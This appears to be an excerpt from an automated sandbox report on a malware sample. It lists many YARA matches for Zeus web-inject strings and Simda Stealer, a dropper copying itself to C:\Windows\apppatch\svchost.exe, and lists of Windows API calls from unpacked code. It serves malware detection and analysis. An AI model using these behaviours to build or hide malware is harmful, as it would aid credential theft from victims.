Source: 00000019.00000002.2629072397.0000000002B90000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000016.00000002.2610943205.0000000002340000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3391913803.0000000002CD1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000000E.00000002.2558937111.0000000002920000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2617323227.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2674089655.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2584410332.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000010.00000002.2535763642.0000000002790000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000022.00000002.2697002323.0000000002740000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2139570153.0000000002A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2685802942.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2642126160.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2712084966.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2696066198.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2711910580.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2684054026.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000007.00000002.2555462875.0000000003100000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2672453488.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000006.00000002.2561383940.00000000016E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2642540091.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3391439892.00000000029A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001C.00000002.2632299607.0000000002D10000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2683452927.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000014.00000002.2583716021.0000000002650000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2682237093.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2591770836.0000000005450000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2646105043.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000019.00000002.2643934604.0000000002F50000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2634522992.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2681497968.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2488750222.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2634738816.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2710792546.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3391439892.00000000029F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2643292305.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2681300847.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2509383327.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2681891778.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2683874460.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2504620207.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000022.00000002.2695460193.0000000000BD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2636504789.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2680873224.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2684684807.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2643045244.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000000A.00000002.2575020460.00000000014C0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000024.00000002.2645314223.00000000023A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2642865814.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2562478885.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2684438036.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000024.00000002.2645122457.0000000002200000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2712266421.000000000EE00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2671268394.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2684242011.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2650052400.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2689405360.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2643706755.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2682432522.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2522638686.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2136596251.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2695314934.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2666567712.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2711233354.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2649020462.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2670333858.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2638992211.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2682624187.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000000E.00000002.2560722712.0000000002AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 00000002.00000003.2683674807.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0000001C.00000002.2632514116.0000000002EB0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: Bpfz752pYZ.exe PID: 1596, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: svchost.exe PID: 4888, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 1656, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 3000, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 616, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 3704, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 4828, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 5576, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 4180, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 5376, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 4836, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 936, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 5720, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: Process Memory Space: NcYLgtXIKJgHj.exe PID: 6008, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Yara detected Simda Stealer
Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 0.2.Bpfz752pYZ.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 2.3.svchost.exe.881000.4.raw.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 0.2.Bpfz752pYZ.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 2.3.svchost.exe.881000.2.raw.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 0.3.Bpfz752pYZ.exe.6f31c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara matchFile source: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara matchFile source: 00000002.00000003.2136779480.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara matchFile source: 00000000.00000003.2123232589.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara matchFile source: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara matchFile source: 00000002.00000003.2136596251.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara matchFile source: Process Memory Space: Bpfz752pYZ.exe PID: 1596, type: MEMORYSTR
Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 4888, type: MEMORYSTR
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C76A30 NtQuerySystemInformation,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,_snprintf,memset,_snprintf,OpenMutexA,2_2_02C76A30
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C73940 VirtualQuery,VirtualQuery,VirtualQuery,VirtualQuery,VirtualAlloc,SymSetOptions,GetCurrentProcess,GetCurrentProcess,SymInitialize,GetCurrentProcess,GetLastError,_snprintf,GetCurrentThread,ZwQueryInformationThread,GetCurrentProcess,GetCurrentProcess,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,GetDateFormatA,GetTimeFormatA,_snprintf,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,VirtualFree,2_2_02C73940
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_01743940 VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,VirtualAlloc,SymSetOptions,GetCurrentProcess,GetCurrentProcess,SymInitialize,GetCurrentProcess,GetLastError,_snprintf,GetCurrentThread,ZwQueryInformationThread,GetCurrentProcess,GetCurrentProcess,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,GetDateFormatA,GetTimeFormatA,_snprintf,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,VirtualFree,6_2_01743940
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_03103940 VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,VirtualAlloc,SymSetOptions,GetCurrentProcess,GetCurrentProcess,SymInitialize,GetCurrentProcess,GetLastError,_snprintf,GetCurrentThread,ZwQueryInformationThread,GetCurrentProcess,GetCurrentProcess,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,GetDateFormatA,GetTimeFormatA,_snprintf,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,VirtualFree,7_2_03103940
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_01523940 VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,VirtualAlloc,SymSetOptions,GetCurrentProcess,GetCurrentProcess,SymInitialize,GetCurrentProcess,GetLastError,_snprintf,GetCurrentThread,ZwQueryInformationThread,GetCurrentProcess,GetCurrentProcess,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,GetDateFormatA,GetTimeFormatA,_snprintf,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,VirtualFree,10_2_01523940
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_004020B0: CreateFileA,VirtualAlloc,DeviceIoControl,CloseHandle,0_2_004020B0
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_004017F0 _snprintf,memset,MultiByteToWideChar,GetProcessHeap,GetProcessHeap,HeapAlloc,memset,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetProcessHeap,HeapAlloc,memset,MultiByteToWideChar,MultiByteToWideChar,GetProcessHeap,HeapAlloc,memset,MultiByteToWideChar,GetProcessHeap,CreateProcessWithLogonW,GetProcessHeap,HeapValidate,HeapValidate,GetProcessHeap,HeapFree,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,0_2_004017F0
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeFile created: C:\Windows\apppatch\svchost.exeJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeFile created: C:\Windows\apppatch\svchost.exe\:Zone.Identifier:$DATAJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_004339800_2_00433980
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0043F1900_2_0043F190
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0044599D0_2_0044599D
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0040DA500_2_0040DA50
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_004422500_2_00442250
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00440A600_2_00440A60
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_004442800_2_00444280
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0043E3400_2_0043E340
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_004483600_2_00448360
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_004223800_2_00422380
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00439B900_2_00439B90
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00443BB00_2_00443BB0
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_004434E00_2_004434E0
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0043A4F00_2_0043A4F0
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0040DDA00_2_0040DDA0
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0043FE000_2_0043FE00
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_004416C00_2_004416C0
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0043A6D00_2_0043A6D0
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_004386F00_2_004386F0
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0042CF600_2_0042CF60
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0040DFC00_2_0040DFC0
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_0044BFE30_2_0044BFE3
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00408FB00_2_00408FB0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_004339802_2_00433980
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0043F1902_2_0043F190
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0044599D2_2_0044599D
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0040DA502_2_0040DA50
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_004422502_2_00442250
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00440A602_2_00440A60
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_004442802_2_00444280
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0043E3402_2_0043E340
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_004483602_2_00448360
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_004223802_2_00422380
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00439B902_2_00439B90
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00443BB02_2_00443BB0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_004434E02_2_004434E0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0043A4F02_2_0043A4F0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0040DDA02_2_0040DDA0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0043FE002_2_0043FE00
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_004416C02_2_004416C0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0043A6D02_2_0043A6D0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_004386F02_2_004386F0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0042CF602_2_0042CF60
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0040DFC02_2_0040DFC0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0044BFE32_2_0044BFE3
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00408FB02_2_00408FB0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C72BB02_2_02C72BB0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CAB2C02_2_02CAB2C0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CA42D02_2_02CA42D0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CA22F02_2_02CA22F0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CAF2402_2_02CAF240
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CA9A002_2_02CA9A00
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C77BC02_2_02C77BC0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C96B602_2_02C96B60
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CAD0E02_2_02CAD0E0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CA40F02_2_02CA40F0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CB61E32_2_02CB61E3
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C779A02_2_02C779A0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CADE802_2_02CADE80
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C776502_2_02C77650
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CABE502_2_02CABE50
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CAA6602_2_02CAA660
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C8BF802_2_02C8BF80
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CA37902_2_02CA3790
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CAD7B02_2_02CAD7B0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CA7F402_2_02CA7F40
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CB1F602_2_02CB1F60
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C9D5802_2_02C9D580
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02CA8D902_2_02CA8D90
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_029DF2802_2_029DF280
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_029A8A502_2_029A8A50
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_029DD2502_2_029DD250
